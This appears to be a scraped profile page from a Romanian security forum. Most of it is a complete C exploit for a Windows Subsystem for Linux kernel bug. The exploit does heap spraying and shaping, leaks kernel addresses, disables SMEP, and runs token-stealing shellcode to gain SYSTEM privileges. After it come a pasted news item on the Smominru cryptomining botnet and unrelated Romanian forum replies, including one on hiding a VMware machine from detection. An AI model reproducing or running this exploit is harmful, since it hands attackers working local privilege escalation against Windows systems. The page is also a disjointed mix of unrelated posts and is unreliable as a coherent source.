iulik

#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/mman.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #define RING_SIZE 0x2000000 #define PIPE_SIZE 0xb8 #define PTR_SIZE 0x8 #define STR_HDR_SIZE 0x18 #define LEAK_OFFSET 0x68 #define SHELLCODE_OFFSET 0x200 #define CHUNK_LVXF_OFFSET 0x138f4296 #define CR4_VAL_ADDR 0x506f8 #define MAGIC_KEY 0xefef #define NT_OFFSET_TO_PIVOT 0x288005 size_t curr_key = 0; char SHELLCODE[] = { //0xcc, 0x90, // CLI 0x90, // PUSHFQ 0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer 0x50, // PUSH RAX 0x51, // PUSH RCX 0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset] 0x90, 0x90, 0x90, // MOV QWORD PTR [RCX], RAX 0xb9, 0xfc, 0x11, 0x00, 0x00, // MOV ECX, PID 0x53, // PUSH RBX 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOV RAX,QWORD PTR gs:0x188 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR [RAX+0xb8] EPROCESS 0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00, // LEA RAX,[RAX+0xActiveProcessLinkOffset] //<tag> 0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID 0x48, 0x83, 0xfb, 0x04, // CMP RBX,0x4 0x75, 0xf3, // JNE <tag> 0x48, 0x8b, 0x58, 0x70, // MOV RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM 0x90, 0x90, 0x90, 0x53, // PUSH RBX //<tag2> 0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID 0x39, 0xcb, // CMP EBX, ECX // our PID 0x75, 0xf5, // JNE <tag2> 0x5b, // POP RBX 0x48, 0x89, 0x58, 0x70, // MOV QWORD PTR[RAX +0x70], RBX 0x90, 0x90, 0x90, 0x5b, // POP RBX 0x59, // POP RCX 0x58, // POP RAX 0x90, // POPFQ 0xc3 // RET }; int calc_stop_idx(size_t alloc_size, size_t factor); int get_size_factor(size_t spray_size, size_t *factor); int trigger_corruption(int spray_size); int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx); int spray(size_t count); int alloc_sem(size_t factor); int free_sem(int key); char *get_faked_shm(); void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid); void trigger_shm(size_t shmid); void print_shm(struct shmid_ds *buf); void *absolute_read(void* obj, size_t shmid, void *addr); int alloc_shm(size_t key); int shape(size_t *spray_size); int calc_stop_idx(size_t alloc_size, size_t factor) { size_t totalStringsLength, headersLength; totalStringsLength = (factor - 1) * 2 + 0xd001; headersLength = (factor * STR_HDR_SIZE) % (0x100000000); return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE; } int get_size_factor(size_t spray_size, size_t *factor) { if (spray_size != 0x2000000) { printf("SPRAY_SIZE ISSUE\n"); exit(1); } *factor = 0xab13aff - 0x800*2; return 0x15fffdfc; } int trigger_corruption(int spray_size) { size_t factor = 0, alloc_size, stopIdx; int ret; alloc_size = get_size_factor(spray_size, &factor); if (alloc_size < 0) { printf("[*err*] unsupported spray_size == 0x%x", spray_size); return -1; } stopIdx = calc_stop_idx(alloc_size, factor); ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx); printf("[*] trigger_corruption() returned 0x%x\n", ret); return 0; } int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) { char **argv, *innerBuf, *stopInnerBuf = NULL; size_t pid; argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if(!argv) { perror("[*err*] malloc argv failed\n"); return -1; } innerBuf = (char*)malloc(innerSize); if (!innerBuf) { printf("[*err*] malloc innerBuf failed\n"); return -1; } memset(innerBuf, pattern, innerSize); for(size_t i = 0; i < argc - 1; ++i) { argv[i] = innerBuf; } argv[argc-1] = NULL; pid = fork(); if (pid) { // parent if(stopIdx > 0) { sleep(1.5); printf("[*] set stopIdx, stopping wildcopy\n"); argv[stopIdx] = NULL; } return 0; } else { // son argv[stopIdx - 1] = (char*)malloc(0xe000); memset(argv[stopIdx - 1], "X", 0xd000-1); argv[stopIdx - 1][0xd000-1] = '\0'; argv[stopIdx - 7] = (char*)malloc(0xe000); memset(argv[stopIdx - 7], "X", 0xd000-1); argv[stopIdx - 7][0xd000-1] = '\0'; // this execve is on nonsense "program", so it will return err. // Just kill the thread. execve(argv[0], argv, NULL); exit(1); } } /* spray <count> chunks, and return number of total bytes allocated */ int spray(size_t count) { int exec[2]; int pipe_capacity = 0, ret = 0; for (size_t i = 0; i < count; ++i) { if (pipe(exec) < 0) { printf("[*err*] pipe\n"); ret = -1; goto cleanup; } pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE); if(pipe_capacity < 0) { printf("[*err*] fcntl return neg capacity\n"); ret = -1; goto cleanup; } ret += pipe_capacity; } cleanup: return ret; } /* allocate 12 * v_nsems + 176 */ int alloc_sem(size_t factor) { int semid; int nsems = factor; semid = semget(curr_key++, nsems, IPC_CREAT | 0666); if(semid == -1) { printf("[*err*]semget failed, errno == 0x%x\n", errno); return -1; } return semid; } int free_sem(int key) { if(semctl(key, 0, IPC_RMID, 0) == -1) { printf("[*err*] semctl failed, errno == 0x%x\n", errno); return -1; } return 0; } char *get_faked_shm() { size_t shellcode_length = 0; char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0x0); char *shellcode_ptr; if (obj == (void*)-1) { printf("[*err*] mmap failed\n"); return NULL; } char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0x0); if (cr4_addr == (void*)-1) { printf("[*err*] mmap failed\n"); return NULL; } memset(cr4_addr, 0x0, 0x10000); printf("[*] mmap userspace addr %p, set faked shm object\n", obj); obj += 0x1000; shellcode_ptr = obj + 0x200; initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1); return obj; } void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) { size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR; char *obj2 = obj+0x1000; memset(obj - 0x100, 0x0, 0x1000); memcpy(obj, &read_addr, sizeof(size_t)); memcpy((obj+0x10), &val, sizeof(size_t)); memcpy(obj - 0x20, &val2, sizeof(size_t)); memcpy(obj - 0x68, &obj, sizeof(char*)); memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*)); memcpy(obj - 0x80, &obj, sizeof(char*)); memcpy((obj + 0x40), &val, sizeof(size_t)); memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t)); memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t)); memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*)); memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*)); memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*)); memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t)); memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t)); // refcount memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t)); memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t)); memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE)); memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4); } void trigger_shm(size_t shmid) { char *data; data = shmat(shmid, (void*)0, 0); } void print_shm(struct shmid_ds *buf) { printf ("\nThe USER ID = %p\n", buf->shm_perm.uid); printf ("The GROUP ID = %p\n", buf->shm_perm.gid); printf ("The creator's ID = %p\n", buf->shm_perm.cuid); printf ("The creator's group ID = %p\n", buf->shm_perm.cgid); printf ("The operation permissions = 0%o\n", buf->shm_perm.mode); printf ("The slot usage sequence\n"); //printf ("number = 0%x\n", buf->shm_perm.seq); //printf ("The key= 0%x\n", buf->shm_perm.key); printf ("The segment size = %p\n", buf->shm_segsz); printf ("The pid of last shmop = %p\n", buf->shm_lpid); printf ("The pid of creator = %p\n", buf->shm_cpid); printf ("The current # attached = %p\n", buf->shm_nattch); printf("The last shmat time = %p\n", buf->shm_atime); printf("The last shmdt time = %p\n", buf->shm_dtime); printf("The last change time = %p\n", buf->shm_ctime); } void *absolute_read(void* obj, size_t shmid, void *addr) { struct shmid_ds shm; initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1); shmctl(shmid, IPC_STAT, &shm); return (void*)shm.shm_ctime; } int alloc_shm(size_t key) { int shmid; shmid = shmget(key, 1024, 0644 | IPC_CREAT); return shmid; } int shape(size_t *spray_size) { size_t keys[0x400]; int exec[2]; int sv[2]; char flag; size_t bytes = 0, tofree = 0; size_t factor,hole_size; struct flock fl; memset(&fl, 0, sizeof(fl)); pid_t pid, wpid; int status; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) { printf("[*err] socketpair failed\n"); return 1; } bytes = spray(1); if (bytes == (size_t)-1) { printf("[*err*] bytes < 0, are you root?\n"); return 1; } *spray_size = bytes; hole_size = get_size_factor(*spray_size, &factor); tofree = hole_size / (bytes / 1) + 1; printf("[*] allocate holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { keys[i] = alloc_sem(0x7000); } for (int i = 0; i < 0x20; ++i) { alloc_sem(0x7000); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(4063); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(3); } pid = fork(); if (pid > 0) { printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n"); bytes = spray(5); write(sv[1], "p", 1); read(sv[1], &flag, 1); } else { // son read(sv[0], &flag, 1); printf("[*] alloc workspace pages\n"); bytes = spray(tofree); printf("[*] finish allocate workspace allocations\n"); write(sv[0], "p", 1); } if (pid > 0) { printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n"); for (int i = 0; i < 0x100; ++i) { alloc_sem(4061); for (int j = 0; j < 0x5; ++j) { alloc_shm(i * 0x100 + j); } } write(sv[1], "p", 1); } else { read(sv[0], &flag, 1); printf("[*] free middle allocation, creating workspace freed\n"); exit(1); } while ((wpid = wait(&status)) > 0); printf("[*] free prepared holes, create little pages holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { free_sem(keys[i]); } return 0; } int main(int argc, char **argv) { size_t spray_size = 0; char *obj; void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler; void *nt_addr; obj = get_faked_shm(); printf("[*] start shaping\n"); if (shape(&spray_size)) { printf("[*err*] shape failed, exit\n"); return 1; } // if there is some shm with shmid==0, delete it shmctl(0, IPC_RMID, NULL); printf("[*] shape is done\n"); if (trigger_corruption(spray_size) < 0) { printf("[*err*] internal error\n"); return 1; } sleep(8); printf("[*] leak shm, with the corrupted shmid\n"); paged_pool_addr = absolute_read(obj, 1, NULL); printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr); file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET); printf("[*] infoleak - fileObj addr at %p\n", file_obj); lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET); printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr); nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET); printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler); printf("[*] call nt pivot, disable SMEP\n"); initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1); trigger_shm(MAGIC_KEY); sleep(5); printf("[*] jump to shellcode!\n"); initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1])); trigger_shm(MAGIC_KEY); sleep(2); return 0; }

2017 was the year of high profile data breaches and ransomware attacks, but from the beginning of this year, we are noticing a faster-paced shift in the cyber threat landscape, as cryptocurrency-related malware is becoming a popular and profitable choice of cyber criminals. Several cybersecurity firms are reporting of new cryptocurrency mining viruses that are being spread using EternalBlue—the same NSA exploit that was leaked by the hacking group Shadow Brokers and responsible for the devastating widespread ransomware threat WannaCry. Researchers from Proofpoint discovered a massive global botnet dubbed "Smominru," a.k.a Ismo, that is using EternalBlue SMB exploit (CVE-2017-0144) to infect Windows computers to secretly mine Monero cryptocurrency, worth millions of dollars, for its master. Active since at least May 2017, Smominru botnet has already infected more than 526,000 Windows computers, most of which are believed to be servers running unpatched versions of Windows, according to the researchers. "Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz," the researchers said. The botnet operators have already mined approximately 8,900 Monero, valued at up to $3.6 million, at the rate of roughly 24 Monero per day ($8,500) by stealing computing resources of millions of systems. The highest number of Smominru infection has been observed in Russia, India, and Taiwan, the researchers said. https://thehackernews.com/2018/01/cryptocurrency-mining-malware.html

Ai permisiuni de scriere unde ai urcat partea php? Posteaza si error_log aici.

Cumpar site-uri cu traffic sau fara traffic dar cu potential, astept pm cu site + pret, platesc eth, paypal sau transfer bancar.

Discutia iphone vs android e de mult, ca si amd vs intel sau amd vs nvidia. Pana la urma fiecare isi alege dupa buget, ce ii place si desigur la utilitatea lui. Argumente sunt pentru fiecare tabara, nu cred ca exista mult de dezbatut sau argumente noi.

Da se merita, si nu pentru hardware ci pentru software

Salutari, de ce nu exista si un link spre rst? Eu vad ca in titlu scrie [RST] Pwnthecode, sau s-au mai schimbat lucrurile intre timp ?

Sa spunem ca iti recunoaste un angajator din afara cursuri din alte parti, cand da un search pe google la "Absolute School" si vede urmatoarele poze dupa se mai uita si pe site-ul lor http://www.absoluteschool.net/ pe care daca il faceam in paint era de 10 ori mai frumos si mai simplu de utilizat. Ce parere crezi ca isi face? iti spune sa iti vezi de treaba sau te angajeaza in urmatoarele minute? edit: fa-ti un cont de github si pune pe el scripturi facute de tine, poti sa pui orice crezi ca e ok, nu trebuie sa faci lucruri extrem de complicate care sa le pui. Daca la angajator ii place cum aranjezi codul, daca ai folosit cea mai buna solutie pentru ceea ce vrei sa faci si alte chestii, contul ala de github e mai bun de 10x ca majoritatea cursurilor.

hint: toate site-urile unde iti ti bani la ei pe site sunt teapa, cand ai wallet-ul tau si ai cheia tot la tine atunci nu iti iei teapa.

Pe de alta parte te poti angaja in o mie de locuri pe security fara bac si experienta, iti recomand https://www.olx.ro/locuri-de-munca/q-agent-de-securitate/

Dai yum list *pam* rpm -qa *pam* si spune-mi ce iti returneaza p.s: ce versiune de centos e? un yum update ar trebui sa-ti rezolve problemele daca e centos 6.8

apt-get install libpam-cracklib

M-am gandit ca poate minezi tu, cand am vazut comentariul, nu de alta dar voiam sa fac o comparatie traffic / profit.

Poti sa publici niste statistici?

Da, le folosesc, de asta si intreb. Poti sa expui un motiv pentru care nu le recomanzi? Daca nu e prea personal desigur. Mersi

De ce sa evite site-urile enumerate de tine?

Ar fi tare daca ar fi programatori interesati de dezvoltat coduri pentru diferite jocuri, cum de altfel nu sunt sau acestia fac bani in alta parte, un sub-forum sau o categorie de cheats necesita si moderatori. Nu cred ca e cineva disponibil si capabil in acelasi timp sa ia fiecare cheat la puricat sa vada daca are sau nu ceva ascuns prin el . Da, ideea e tare, dar veniti cu solutii complete, s-au mai intamplat treburi de-astea pe rst si a murit sub-forum-ul din lipsa de interes.

Ce parere aveti, mai creste TRX?

de indata ce-l pornesc detecteaza

Salut, am o problema cu un program pe un windows 7 din vmware, programul respectiv detecteaza ca este rulat sub o masina virtuala si nu vrea sa porneasca. Cum as putea sa fac masina virtuala din vmware sa nu mai fie recunoscuta de program, sau oricare alta solutie in care as putea folosi o masina virtuala cu un windows este bine venita. Mentionez ca nu am windows pe laptop astfel in cat sa-l rulez sub sandboxie, si am cautat pe google rezolvari dar am gasit putine informatii.

http://www.rstelion.party/

Nu e mare suma, daca nu ai scos in fiecare zi 1500 de euro n-are ce sa ti se intample.

https://www.payoneer.com